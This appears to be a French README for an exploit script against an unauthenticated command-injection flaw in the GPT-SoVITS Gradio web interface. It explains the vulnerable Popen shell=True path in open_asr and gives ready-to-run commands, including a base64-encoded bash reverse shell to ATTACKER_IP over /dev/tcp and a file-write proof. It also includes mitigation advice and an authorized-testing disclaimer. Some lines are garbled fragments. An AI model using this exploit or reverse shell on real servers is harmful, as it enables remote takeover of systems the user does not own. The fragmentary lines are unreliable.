
Exploit d'injection de commandes OS non authentifiée pour l'interface web Gradio de GPT-SoVITS. Permet une exécution de code à distance (RCE) via des paramètres de chemin non assainis dans les utilitaires de traitement audio, prenant en charge les shells inversés et l'écriture de fichiers pour les tests de sécurité autorisés.
Exécution de code à distance non authentifiée dans l'interface web Gradio de GPT-SoVITS (webui.py).
Les fonctions utilitaires de traitement audio (open_asr, open_slice, open_denoise, open_uvr5) interpolent des valeurs de chemin de champs de texte Gradio non assainies directement dans des commandes shell exécutées avec Popen(..., shell=True). Les chemins ne passent que par clean_path(), qui ne fait que supprimer les guillemets et espaces en début et fin de chaîne — les métacaractères shell au milieu survivent. Le champ asr_opt_dir n'est même pas vérifié quant à son existence, si bien qu'une substitution de commande dans ce champ se retrouve dans et s'exécute en tant qu'utilisateur du processus de l'interface web. L'interface web est fournie , si bien qu'une seule requête suffit.
$(...)-o "$(...)"<= 20250606v2pro9874 (interface web Gradio, sans authentification)pip install gradio_client
# write proof to a file on the target
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
La commande injectée s'exécute sur le serveur ; sa sortie n'est pas renvoyée, utilisez donc un reverse shell (ou écrivez dans un chemin lisible) pour observer le résultat. asr_opt_dir est encapsulé dans $(...), il s'exécute donc via une substitution de commande, qu'un modèle ASR soit installé ou non.
open_asr construit et exécute :
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
L'interface Gradio expose sa surface d'API sur /config :
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
Mettez à niveau vers une version postérieure à GPT-SoVITS 20250606v2pro, n'exposez jamais l'interface web à des réseaux non fiables et ne l'exécutez pas en tant qu'utilisateur privilégié.
Pour des tests de sécurité autorisés et à des fins pédagogiques uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.